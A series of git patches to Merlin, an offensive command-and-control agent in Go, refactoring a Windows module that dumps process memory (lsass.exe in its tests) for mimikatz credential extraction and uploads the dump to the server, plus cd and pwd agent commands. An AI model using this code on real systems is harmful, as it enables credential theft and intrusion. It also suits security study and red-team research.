valid if len(p.Args) < 2 { From 668227103cee654bfc6c549061f8e7b28c793453 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Sat, 23 Feb 2019 21:46:06 -0500 Subject: [PATCH 076/112] Fixed module JSON to use correct values to get rid of arguments prepended with a space. Cleaned up agent module processing code. --- .../windows/x64/go/credentials/minidump.json | 2 +- pkg/agent/agent.go | 37 +++++++------------ pkg/agent/exec_windows.go | 3 -- 3 files changed, 15 insertions(+), 27 deletions(-) diff --git a/data/modules/windows/x64/go/credentials/minidump.json b/data/modules/windows/x64/go/credentials/minidump.json index 35b8ce17..16ff1b9b 100644 --- a/data/modules/windows/x64/go/credentials/minidump.json +++ b/data/modules/windows/x64/go/credentials/minidump.json @@ -18,6 +18,6 @@ ], "description": "Calls Windows MiniDumpWriteDump API on the provided process, dumps out to a temporary file and uploads the minidump file to the Merlin server.", "notes": "Written in native go - the only disk access is when writing out the file to the temp location. Must be elevated to run, and automatically sets the correct token privileges required to access other processes memory..\r\n\r\nUse \"sekurlsa::minidump dumpfile.dmp\" \"sekurlsa::logonPasswords full\" on the same OS/arch to parse the dump file", - "commands": ["Minidump", "{{Process}}", "{{PID}}", "{{TempLocation}}"] + "commands": ["Minidump", "{{Process.Value}}", "{{PID.Value}}", "{{TempLocation.Value}}"] } } \ No newline at end of file diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index 9eba3e20..b43c6e61 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -18,7 +18,6 @@ package agent import ( - // Standard "bytes" "crypto/sha1" // #nosec G505 @@ -36,7 +35,6 @@ import ( "path/filepath" "runtime" "strconv" - "strings" "time" // 3rd Party @@ -662,6 +660,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { message("warn", fmt.Sprintf("There was an error encoding the CmdPayload JSON "+ "message:\r\n%s", e.Error())) } + break } switch p.Command { case "Minidump": @@ -677,40 +676,33 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { } break } - process := p.Args[0] //string TODO: do some validation here I guess - //clean the arg - for some reason spaces at the start? - process = strings.Trim(process, " ") - pid := uint32(0) - - //clean the arg - for some reason spaces at the start? - p.Args[1] = strings.Trim(p.Args[1], " ") - pidInt, err := strconv.ParseInt(p.Args[1], 0, 32) + process := p.Args[0] + pid, err := strconv.ParseInt(p.Args[1], 0, 32) if err != nil { - //probably not well formatted number if a.Verbose { - message("warn", fmt.Sprintf("Could not parse pid value:"+p.Args[1])) - message("warn", fmt.Sprintf(err.Error())) + message("warn", fmt.Sprintf("Could not parse PID as an integer:%s\r\n%s", + p.Args[1], err.Error())) } break } - pid = uint32(pidInt) + tempPath := "" if len(p.Args) == 3 { tempPath = p.Args[2] } - //get minidump - miniD, fileDataErr := miniDump(tempPath, process, pid) + // Get minidump + miniD, miniDumpErr := miniDump(tempPath, process, uint32(pid)) fileData := miniD.FileContent //copied and pasted from upload func, modified appropriately - if fileDataErr != nil { + if miniDumpErr != nil { if a.Verbose { - message("warn", fmt.Sprintf("There was an error dumping the process")) - message("warn", fmt.Sprintf("%s", fileDataErr.Error())) + message("warn", fmt.Sprintf("There was an error executing the miniDump module:\r\n%s", + miniDumpErr.Error())) } - errMessage := fmt.Sprintf("There was an error dumping the process\r\n") - errMessage += fileDataErr.Error() + errMessage := fmt.Sprintf("There was an error executing the miniDump module:\r\n%s", + miniDumpErr.Error()) c := messages.CmdResults{ Job: p.Job, Stderr: errMessage, @@ -721,8 +713,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { k, err := json.Marshal(c) if err != nil { if a.Verbose { - message("warn", fmt.Sprintf("There was an error creating the json")) - message("warn", fmt.Sprintf("%s", err.Error())) + message("warn", fmt.Sprintf("There was an error creating the json:\r\n%s", err.Error())) } } g.Type = "CmdResults" diff --git a/pkg/agent/exec_windows.go b/pkg/agent/exec_windows.go index 3ed52a5e..29747b7f 100644 --- a/pkg/agent/exec_windows.go +++ b/pkg/agent/exec_windows.go @@ -27,7 +27,6 @@ import ( "io/ioutil" "os" "os/exec" - "strings" "syscall" "unsafe" @@ -383,8 +382,6 @@ func ExecuteShellcodeQueueUserAPC(shellcode []byte, pid uint32) error { func miniDump(tempDir string, process string, inPid uint32) (modules.MinidumpFile, error) { ret := modules.MinidumpFile{} // []byte{} var err error - // TODO fix this on the CLI side - tempDir = strings.TrimPrefix(tempDir, " ") // Make sure temporary directory exists before executing miniDump functionality if tempDir != "" { From c60039b55330c5adb64e55e802995d1246dd4fda Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Sat, 23 Feb 2019 23:19:01 -0500 Subject: [PATCH 077/112] Condensed getProcID and getProcName into a single function. --- pkg/agent/exec_windows.go | 101 +++++++++++++------------------------- 1 file changed, 34 insertions(+), 67 deletions(-) diff --git a/pkg/agent/exec_windows.go b/pkg/agent/exec_windows.go index 29747b7f..03a0344f 100644 --- a/pkg/agent/exec_windows.go +++ b/pkg/agent/exec_windows.go @@ -20,7 +20,6 @@ package agent import ( - "github.com/Ne0nd0g/merlin/pkg/modules" // Standard "errors" "fmt" @@ -35,6 +34,9 @@ import ( // 3rd Party "github.com/mattn/go-shellwords" + + // Merlin + "github.com/Ne0nd0g/merlin/pkg/modules" ) const ( @@ -397,21 +399,9 @@ func miniDump(tempDir string, process string, inPid uint32) (modules.MinidumpFil } // Get the process PID or name - if inPid != 0 { - ret.ProcName, err = getProcName(inPid) - if err != nil { - return ret, err - } - ret.ProcID = inPid - } else if process != "" { - ret.ProcID, err = getProcID(process) - if err != nil { - return ret, err - } - ret.ProcName = process - - } else { - return ret, fmt.Errorf("an valid process ID or name was not provided") + ret.ProcName, ret.ProcID, err = getProcess(process, inPid) + if err != nil { + return ret, err } // Get debug privs (required for dumping processes not owned by current user) @@ -466,77 +456,54 @@ func miniDump(tempDir string, process string, inPid uint32) (modules.MinidumpFil return ret, nil } -//getProcID returns the PID of the provided process name (eg lsass.exe). PID of < 1 indicates didn't find the process. -func getProcID(procname string) (uint32, error) { +// getProcess takes in a process name OR a process ID and returns a pointer to the process handle, the process name, +// and the process ID. +func getProcess(name string, pid uint32) (string, uint32, error) { //https://github.com/mitchellh/go-ps/blob/master/process_windows.go - handle, err := syscall.CreateToolhelp32Snapshot(0x00000002, 0) - if handle < 0 || err != nil { - return 0, fmt.Errorf("Could not get snapshot:\n%s", err) - } - defer syscall.CloseHandle(handle) - var entry syscall.ProcessEntry32 - entry.Size = uint32(unsafe.Sizeof(entry)) - err = syscall.Process32First(handle, &entry) - if err != nil { - return 0, fmt.Errorf("Could not process the handle:\n%s", err) + if pid <= 0 && name == "" { + return "", 0, fmt.Errorf("a process name OR process ID must be provided") } - for { - s := "" - for _, chr := range entry.ExeFile { - if chr != 0 { - s = s + string(int(chr)) - } - } - if s == procname { - return entry.ProcessID, nil - } - err = syscall.Process32Next(handle, &entry) - if err != nil { - break - } + snapshotHandle, err := syscall.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) + if snapshotHandle < 0 || err != nil { + return "", 0, fmt.Errorf("there was an error creating the snapshot:\r\n%s", err) } - return 0, fmt.Errorf("Could not find a procces with the supplied name \"%s\"", procname) -} + defer syscall.CloseHandle(snapshotHandle) -//getProcName will return the name of the process associated with the specified pid. -func getProcName(pid uint32) (string, error) { - //https://github.com/mitchellh/go-ps/blob/master/process_windows.go - handle, err := syscall.CreateToolhelp32Snapshot( - 0x00000002, - 0) - if handle < 0 || err != nil { - return "", fmt.Errorf("Could not get snapshot:\n%s", err) - } - defer syscall.CloseHandle(handle) - - var entry syscall.ProcessEntry32 - entry.Size = uint32(unsafe.Sizeof(entry)) - err = syscall.Process32First(handle, &entry) + var process syscall.ProcessEntry32 + process.Size = uint32(unsafe.Sizeof(process)) + err = syscall.Process32First(snapshotHandle, &process) if err != nil { - return "", fmt.Errorf("Could not process the handle:\n%s", err) + return "", 0, fmt.Errorf("there was an accessing the first process in the snapshot:\r\n%s", err) } for { - s := "" - for _, chr := range entry.ExeFile { + processName := "" + // Iterate over characters to build a full string + for _, chr := range process.ExeFile { if chr != 0 { - s = s + string(int(chr)) + processName = processName + string(int(chr)) } } - if entry.ProcessID == pid { - return s, nil + if pid > 0 { + if process.ProcessID == pid { + return processName, pid, nil + } + } else if name != "" { + if processName == name { + return name, process.ProcessID, nil + } } - err = syscall.Process32Next(handle, &entry) + err = syscall.Process32Next(snapshotHandle, &process) if err != nil { break } } - return "", fmt.Errorf("Could not find PID \"%d\"", pid) + return "", 0, fmt.Errorf("could not find a procces with the supplied name \"%s\" or PID of \"%d\"", name, pid) } -//sePrivEnable adjusts the privileges of the current process to add the passed in string. Good for setting 'SeDebugPrivilege' +// sePrivEnable adjusts the privileges of the current process to add the passed in string. Good for setting 'SeDebugPrivilege' func sePrivEnable(s string) error { type LUID struct { LowPart uint32 From 5bcbf512acbf68472176c05b0a14fc0712b14468 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Sat, 23 Feb 2019 23:48:18 -0500 Subject: [PATCH 078/112] Updated agent_windows_test.go to match changes from previous commits. --- pkg/agent/agent_windows_test.go | 42 +++++++++++++++------------------ 1 file changed, 19 insertions(+), 23 deletions(-) diff --git a/pkg/agent/agent_windows_test.go b/pkg/agent/agent_windows_test.go index b3eb6d8f..75e32418 100644 --- a/pkg/agent/agent_windows_test.go +++ b/pkg/agent/agent_windows_test.go @@ -7,14 +7,14 @@ import ( "testing" ) -func TestGetPrcID(t *testing.T) { - //ensure proces that definitely exists returns a value - lsassPid, err := getProcID("lsass.exe") +func TestGetProcess(t *testing.T) { + // Ensure process that definitely exists returns a value + lsassPid, _, err := getProccess("lsass.exe", 0) if lsassPid == 0 || err != nil { t.Error("Couldn't find lsass.exe") } - //ensure process that definitely doesn't exist returns a 0 value - garbagePid, err := getProcID("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.exe") + // Ensure process that definitely doesn't exist returns a 0 value + _, garbagePid, err := getProccess("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.exe") if garbagePid != 0 || err == nil { t.Error("Got a non zero return for a garbage process") } @@ -22,7 +22,7 @@ func TestGetPrcID(t *testing.T) { func TestMinidump(t *testing.T) { - //check a good minidump works + // Check a good minidump works md, err := miniDump("", "go.exe", 0) byts := md.FileContent if err != nil { @@ -32,65 +32,61 @@ func TestMinidump(t *testing.T) { t.Error("Invalid minidump file produced (based on file header)") } - //check a minidump on an unknown proc doesn't work + // Check a minidump on an unknown proc doesn't work _, err = miniDump("", "notarealprocess.exe", 0) if err == nil { t.Error("Found process when it shouldn't have...") } - //check a minidump providing a pid with blank string works - pid, err := getProcID("go.exe") + // Check a minidump providing a pid with blank string works + pid, _, err := getProccess("go.exe", 0) md, err = miniDump("", "", pid) byts = md.FileContent if err != nil || len(byts) == 0 { t.Error("Minidump using pid failed") } - //verify proc name matches + + // Verify proc name matches if md.ProcName != "go.exe" { t.Error("Minidump proc name does not match: ", "go.exe", md.ProcName) } - //check a minidump with a valid pid but invalid string works (pid should take priority) + // Check a minidump with a valid pid but invalid string works (pid should take priority) md, err = miniDump("", "notarealprocess.exe", pid) byts = md.FileContent if err != nil || len(byts) == 0 { t.Error("Minidump using valid pid and invalid proc name failed") } - //verify proc name matches + + // Verify proc name matches if md.ProcName != "go.exe" { t.Error("Minidump proc name does not match: ", "go.exe", md.ProcName) } - //check a minidump with a valid proc name, but invalid pid fails + // Check a minidump with a valid proc name, but invalid pid fails md, err = miniDump("", "go.exe", 123456789) byts = md.FileContent if err == nil { t.Error("Minidump dumped a process even though provided pid was invalid") } - //check for non-existing path (dir) + // Check for non-existing path (dir) md, err = miniDump("C:\\thispathbetternot\\exist\\", "go.exe", 0) if err == nil { t.Error("Didn't get an error on non-existing path (check to make sure hte path doesn't actually exist)") } - //check for existing path (dir) - md, err = miniDump("C:\\temp\\", "go.exe", 0) + // Check for existing path (dir) + md, err = miniDump("C:\\Windows\\temp\\", "go.exe", 0) if err != nil { t.Error("Got an error on existing path (check to make sure the path actually exists)") t.Error(err) } - //check for existing file + // Check for existing file md, err = miniDump("C:\\Windows\\System32\\calc.exe", "go.exe", 0) if err == nil { t.Error("Didn't get an error on existing file (check to make sure the path & file actually exist)") } - //check for non- existing file - md, err = miniDump("C:\\temp\\hopethefilenothere", "go.exe", 0) - if err != nil { - t.Error("Got an error on non-existing file (check to make sure the file actually doesn't exist)") - t.Error(err) - } } From 03adefd515698c8f95031c33439c652fcac79fde Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Sat, 23 Feb 2019 23:53:26 -0500 Subject: [PATCH 079/112] Updated CHANGELOG --- docs/CHANGELOG.MD | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index 741f7e37..4fd89958 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -11,8 +11,14 @@ and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0. - New `NativeCmd` message struct for commands native to Merlin - [Pull 49](https://github.com/Ne0nd0g/merlin/pull/49) - Added tests for agent package and new `/test` directory for test HTTP server - [Pull 50](https://github.com/Ne0nd0g/merlin/pull/50) - Adds a killdate option to agents -- [Pull 51](https://github.com/Ne0nd0g/merlin/pull/50) - Adds a Go native `minidump` module for Windows agents to create and receive a minidump file of a specified process (requires elevation) - Added `set killdate` to Merlin Server agent menu and information table so that it can be changed from the server. +- [Pull 51](https://github.com/Ne0nd0g/merlin/pull/51) - Adds a Go native `minidump` module for Windows agents to create and receive a minidump file of a specified process (requires elevation) + - windows/x64/go/credentials/minidump.json module (@C__Sto) + - getProcess Function to exec_windows.go + - sePrivEnable Function to exec_windows.go + - MinidumpFile struct to modules.go + - Module struct to messages.go + - agent_windows_test.go to test miniDump functionality - [Pull 58](https://github.com/Ne0nd0g/merlin/pull/58) - Added feature to generate in-memory TLS certificates one is not provided - Adds new `pkg/utils/tls.go` package to generate TLS certificates - Updated Merlin server log to include certificate information From 911d1edd10bb197c35bf04734b5abcd837a3a13c Mon Sep 17 00:00:00 2001 From: Alex Flores Date: Thu, 7 Feb 2019 21:07:00 -0500 Subject: [PATCH 080/112] adds pwd command to cli and agent --- pkg/agent/agent.go | 44 ++++++++++++++++++++++++++++++++++++++++---- pkg/agents/agents.go | 8 ++++++++ pkg/cli/cli.go | 8 +++++++- 3 files changed, 55 insertions(+), 5 deletions(-) diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index b43c6e61..4725b6dc 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -1023,10 +1023,46 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { resp2.StatusCode)) } } - } - default: - if a.Verbose { - message("warn", fmt.Sprintf("Received unrecognized message type: %s", j.Type)) + case "pwd": + var se string + dir, err := os.Getwd() + if err != nil { + se = err.Error() + } + + c := messages.CmdResults{ + Job: p.Job, + Stdout: dir, + Stderr: se, + } + + k, err := json.Marshal(c) + if err != nil { + panic(err) + } + + g := messages.Base{ + Version: 1.0, + ID: j.ID, + Type: "CmdResults", + Payload: (*json.RawMessage)(&k), + Padding: core.RandStringBytesMaskImprSrc(a.PaddingMax), + } + b2 := new(bytes.Buffer) + json.NewEncoder(b2).Encode(g) + if a.Verbose { + message("note", fmt.Sprintf("Sending response to server: %s", dir)) + } + resp2, _ := client.Post(host, "application/json; charset=utf-8", b2) + if resp2.StatusCode != 200 { + if a.Verbose { + message("warn", fmt.Sprintf("Message error from server. HTTP Status code: %d", resp2.StatusCode)) + } + } + default: + if a.Verbose { + message("warn", fmt.Sprintf("Received unrecognized message type: %s", j.Type)) + } } } } diff --git a/pkg/agents/agents.go b/pkg/agents/agents.go index f7d4ebc6..b046ec52 100644 --- a/pkg/agents/agents.go +++ b/pkg/agents/agents.go @@ -507,6 +507,14 @@ func GetMessageForJob(agentID uuid.UUID, job Job) (messages.Base, error) { if len(job.Args) == 2 { p.Args = job.Args[1] } + case "pwd": + m.Type = "NativeCmd" + p := messages.NativeCmd{ + Job: job.ID, + Command: job.Args[0], + Args: "", + } + k := marshalMessage(p) m.Payload = (*json.RawMessage)(&k) case "maxretry": diff --git a/pkg/cli/cli.go b/pkg/cli/cli.go index e0cd24d6..55e7288b 100644 --- a/pkg/cli/cli.go +++ b/pkg/cli/cli.go @@ -415,7 +415,11 @@ func Shell() { } message("note", fmt.Sprintf("Created job %s for agent %s at %s", m, shellAgent, time.Now().UTC().Format(time.RFC3339))) - + case "pwd": + var m string + m, err = agents.AddJob(shellAgent, "pwd", cmd) + message("note", fmt.Sprintf("Created job %s for agent %s at %s", + m, shellAgent, time.Now().UTC().Format(time.RFC3339))) case "main": menuSetMain() case "quit": @@ -711,6 +715,7 @@ func getCompleter(completer string) *readline.PrefixCompleter { readline.PcItem("info"), readline.PcItem("kill"), readline.PcItem("ls"), + readline.PcItem("pwd"), readline.PcItem("main"), readline.PcItem("shell"), readline.PcItem("set", @@ -805,6 +810,7 @@ func menuHelpAgent() { {"info", "Display all information about the agent", ""}, {"kill", "Instruct the agent to die or quit", ""}, {"ls", "List directory contents", "ls /etc"}, + {"pwd", "Display the current working directory", ""}, {"main", "Return to the main menu", ""}, {"set", "Set the value for one of the agent's options", "killdate, maxretry, padding, skew, sleep"}, {"shell", "Execute a command on the agent", "shell ping -c 3 8.8.8.8"}, From 6137c11c0b7187949f8a5d8afcb528e4432e3975 Mon Sep 17 00:00:00 2001 From: Alex Flores Date: Thu, 7 Feb 2019 21:33:22 -0500 Subject: [PATCH 081/112] adds cd command --- pkg/agent/agent.go | 75 ++++++++++++++++++++++++++++++++++++++++++-- pkg/agents/agents.go | 10 ++++++ pkg/cli/cli.go | 21 +++++++++++++ 3 files changed, 103 insertions(+), 3 deletions(-) diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index 4725b6dc..f513c1b5 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -978,6 +978,9 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { var se string if err != nil { se = err.Error() + if a.Verbose { + message("warn", fmt.Sprintf("ls command returned STDERR: %s", err.Error())) + } } c := messages.CmdResults{ @@ -988,7 +991,10 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { k, err := json.Marshal(c) if err != nil { - panic(err) + if a.Verbose { + message("warn", fmt.Sprintf("There was an error encoding the JSON payload for the"+ + "ls command:\r\n%s", err.Error())) + } } g := messages.Base{ @@ -1023,11 +1029,65 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { resp2.StatusCode)) } } + case "cd": + var se string + var stdout string + err := os.Chdir(p.Args) + if err != nil { + se = err.Error() + if a.Verbose { + message("warn", fmt.Sprintf("cd command returned STDERR: %s", err.Error())) + } + } else { + stdout = fmt.Sprintf("Moved to %s", p.Args) + } + + c := messages.CmdResults{ + Job: p.Job, + Stdout: stdout, + Stderr: se, + } + + k, err := json.Marshal(c) + if err != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error encoding the JSON payload for the"+ + "ls command:\r\n%s", err.Error())) + } + } + + g := messages.Base{ + Version: 1.0, + ID: j.ID, + Type: "CmdResults", + Payload: (*json.RawMessage)(&k), + Padding: core.RandStringBytesMaskImprSrc(a.PaddingMax), + } + b2 := new(bytes.Buffer) + json.NewEncoder(b2).Encode(g) + if a.Verbose { + message("note", fmt.Sprintf("Sending response to server: %s", stdout)) + } + resp2, errPost := client.Post(host, "application/json; charset=utf-8", b2) + if errPost != nil { + if a.Verbose { + message("warn", "There was an error sending the CmdResults message to the server in the shellcode section") + message("warn", errPost.Error()) + } + } + if resp2.StatusCode != 200 { + if a.Verbose { + message("warn", fmt.Sprintf("Message error from server. HTTP Status code: %d", resp2.StatusCode)) + } + } case "pwd": var se string dir, err := os.Getwd() if err != nil { se = err.Error() + if a.Verbose { + message("warn", fmt.Sprintf("pwd command returned STDERR: %s", err.Error())) + } } c := messages.CmdResults{ @@ -1038,7 +1098,10 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { k, err := json.Marshal(c) if err != nil { - panic(err) + if a.Verbose { + message("warn", fmt.Sprintf("There was an error encoding the JSON message for the"+ + "ls command results:\r\n%s", err.Error())) + } } g := messages.Base{ @@ -1053,7 +1116,13 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { if a.Verbose { message("note", fmt.Sprintf("Sending response to server: %s", dir)) } - resp2, _ := client.Post(host, "application/json; charset=utf-8", b2) + resp2, errPost := client.Post(host, "application/json; charset=utf-8", b2) + if errPost != nil { + if a.Verbose { + message("warn", "There was an error sending the CmdResults message to the server in the shellcode section") + message("warn", errPost.Error()) + } + } if resp2.StatusCode != 200 { if a.Verbose { message("warn", fmt.Sprintf("Message error from server. HTTP Status code: %d", resp2.StatusCode)) diff --git a/pkg/agents/agents.go b/pkg/agents/agents.go index b046ec52..e40cbe69 100644 --- a/pkg/agents/agents.go +++ b/pkg/agents/agents.go @@ -507,6 +507,16 @@ func GetMessageForJob(agentID uuid.UUID, job Job) (messages.Base, error) { if len(job.Args) == 2 { p.Args = job.Args[1] } + case "cd": + m.Type = "NativeCmd" + p := messages.NativeCmd{ + Job: job.ID, + Command: job.Args[0], + Args: strings.Join(job.Args[1:], " "), + } + + k := marshalMessage(p) + m.Payload = (*json.RawMessage)(&k) case "pwd": m.Type = "NativeCmd" p := messages.NativeCmd{ diff --git a/pkg/cli/cli.go b/pkg/cli/cli.go index 55e7288b..c572c578 100644 --- a/pkg/cli/cli.go +++ b/pkg/cli/cli.go @@ -415,6 +415,25 @@ func Shell() { } message("note", fmt.Sprintf("Created job %s for agent %s at %s", m, shellAgent, time.Now().UTC().Format(time.RFC3339))) + case "cd": + var m string + if len(cmd) > 1 { + arg := strings.Join(cmd[0:], " ") + argS, errS := shellwords.Parse(arg) + if errS != nil { + message("warn", fmt.Sprintf("There was an error parsing command line argments: %s\r\n%s", line, errS.Error())) + break + } + m, err = agents.AddJob(shellAgent, "cd", argS) + if err != nil { + message("warn", err.Error()) + break + } + } else { + m, err = agents.AddJob(shellAgent, "cd", cmd) + } + message("note", fmt.Sprintf("Created job %s for agent %s at %s", + m, shellAgent, time.Now().UTC().Format(time.RFC3339))) case "pwd": var m string m, err = agents.AddJob(shellAgent, "pwd", cmd) @@ -715,6 +734,7 @@ func getCompleter(completer string) *readline.PrefixCompleter { readline.PcItem("info"), readline.PcItem("kill"), readline.PcItem("ls"), + readline.PcItem("cd"), readline.PcItem("pwd"), readline.PcItem("main"), readline.PcItem("shell"), @@ -810,6 +830,7 @@ func menuHelpAgent() { {"info", "Display all information about the agent", ""}, {"kill", "Instruct the agent to die or quit", ""}, {"ls", "List directory contents", "ls /etc"}, + {"cd", "Change directories", "cd c:\\\\users"}, {"pwd", "Display the current working directory", ""}, {"main", "Return to the main menu", ""}, {"set", "Set the value for one of the agent's options", "killdate, maxretry, padding, skew, sleep"}, From 827e2b227ce371791a0689ef6b6c8a47f485bf98 Mon Sep 17 00:00:00 2001 From: Alex Flores Date: Sat, 9 Feb 2019 16:51:22 -0500 Subject: [PATCH 082/112] adds changelog entries --- docs/CHANGELOG.MD | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index 4fd89958..400d353e 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -4,6 +4,12 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). +## 0.6.10 - 2019-02-09 + +### Added +- Added `pwd` and `cd` command to agent & agent menu. Uses go code native to Merlin instead of + executing system binaries or access the system's CLI + ## 0.6.9 - 2019-XX-XX ### Added From 237716d36f381e03abf1b5aff5e4b1e3f3a53d44 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Mon, 25 Feb 2019 06:29:16 -0500 Subject: [PATCH 083/112] Updated CHANGELOG --- docs/CHANGELOG.MD | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index 400d353e..78c029db 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -4,12 +4,6 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). -## 0.6.10 - 2019-02-09 - -### Added -- Added `pwd` and `cd` command to agent & agent menu. Uses go code native to Merlin instead of - executing system binaries or access the system's CLI - ## 0.6.9 - 2019-XX-XX ### Added @@ -29,6 +23,8 @@ and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0. - Adds new `pkg/utils/tls.go` package to generate TLS certificates - Updated Merlin server log to include certificate information - Test case for TLS certificate generation +- [Pull 60](https://github.com/Ne0nd0g/merlin/pull/60) - Added `pwd` and `cd` command to agent & agent menu. + - Uses go code native to Merlin instead of executing system binaries or access the system's CLI. ### Fixed - [Pull 57](https://github.com/Ne0nd0g/merlin/pull/57) - Resolved broken JSON does not increment failedCheckin counter on Merlin agent From b0ea4fe311063810e66c4c669796d7ab188f0a94 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Tue, 26 Feb 2019 17:35:55 -0500 Subject: [PATCH 084/112] Updated list command so that response explicitly returns the directory path in the response. Useful when copying from console. --- pkg/agent/agent.go | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index f513c1b5..e45337d8 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -1353,13 +1353,20 @@ func (a *Agent) list(path string) (string, error) { } else if a.Verbose { message("success", fmt.Sprintf("listing directory contents for: %s", path)) } + var errPath error + if path == "./" { + path, errPath = os.Getwd() + } + if errPath != nil { + return "", nil + } files, err := ioutil.ReadDir(path) if err != nil { return "", err } - details := "" + details := fmt.Sprintf("Directory listing for: %s\r\n\r\n", path) for _, f := range files { perms := f.Mode().String() From e691e0064a5e75eda59dc0c784b35f298b0b169b Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Tue, 26 Feb 2019 17:40:45 -0500 Subject: [PATCH 085/112] Handled JSON NewEncoder errors --- pkg/agent/agent.go | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index e45337d8..c87d5318 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -1064,7 +1064,13 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { Padding: core.RandStringBytesMaskImprSrc(a.PaddingMax), } b2 := new(bytes.Buffer) - json.NewEncoder(b2).Encode(g) + err7 := json.NewEncoder(b2).Encode(g) + if err7 != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error encoding the JSON message:\r\n%s", err7.Error())) + } + break + } if a.Verbose { message("note", fmt.Sprintf("Sending response to server: %s", stdout)) } @@ -1112,7 +1118,13 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { Padding: core.RandStringBytesMaskImprSrc(a.PaddingMax), } b2 := new(bytes.Buffer) - json.NewEncoder(b2).Encode(g) + err8 := json.NewEncoder(b2).Encode(g) + if err8 != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error encoding the JSON message:\r\n%s", err8.Error())) + } + break + } if a.Verbose { message("note", fmt.Sprintf("Sending response to server: %s", dir)) } From da24f589ac2e2787009a1e7909c8e3d667e649cc Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Tue, 26 Feb 2019 17:48:20 -0500 Subject: [PATCH 086/112] Added break/return statements for failed JSON encoding or client post. --- pkg/agent/agent.go | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index c87d5318..9198aacd 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -277,6 +277,7 @@ func (a *Agent) initialCheckIn(host string, client *http.Client) bool { if a.Verbose { message("warn", fmt.Sprintf("There was an error encoding the JSON message:\r\n%s", errJ.Error())) } + return false } if a.Verbose { message("note", fmt.Sprintf("Connecting to web server at %s for initial check in.", host)) @@ -350,6 +351,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { if a.Verbose { message("warn", fmt.Sprintf("There was an error encoding the JSON message:\r\n%s", errJ.Error())) } + return } if a.Verbose { @@ -575,6 +577,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { message("warn", fmt.Sprintf("There was an error encoding the JSON message:\r\n%s", err1.Error())) } + break } resp2, respErr := client.Post(host, "application/json; charset=utf-8", b2) if respErr != nil { @@ -582,6 +585,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { message("warn", "There was an error sending the FileTransfer message to the server") message("warn", fmt.Sprintf("%s", respErr.Error())) } + break } if resp2.StatusCode != 200 { if a.Verbose { @@ -627,6 +631,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { message("warn", fmt.Sprintf("There was an error encoding the CmdPayload JSON "+ "message:\r\n%s", err3.Error())) } + break } if a.Verbose { message("note", fmt.Sprintf("Sending response to server: %s", stdout)) @@ -758,7 +763,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { message("warn", fmt.Sprintf("There was an error encoding the JSON message:\r\n%s", err1.Error())) } - break //don't try and sent POST with broken/empty json + break } resp2, respErr := client.Post(host, "application/json; charset=utf-8", b2) if respErr != nil { @@ -766,7 +771,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { message("warn", "There was an error sending the FileTransfer message to the server") message("warn", fmt.Sprintf("%s", respErr.Error())) } - break //resolves crash on error + 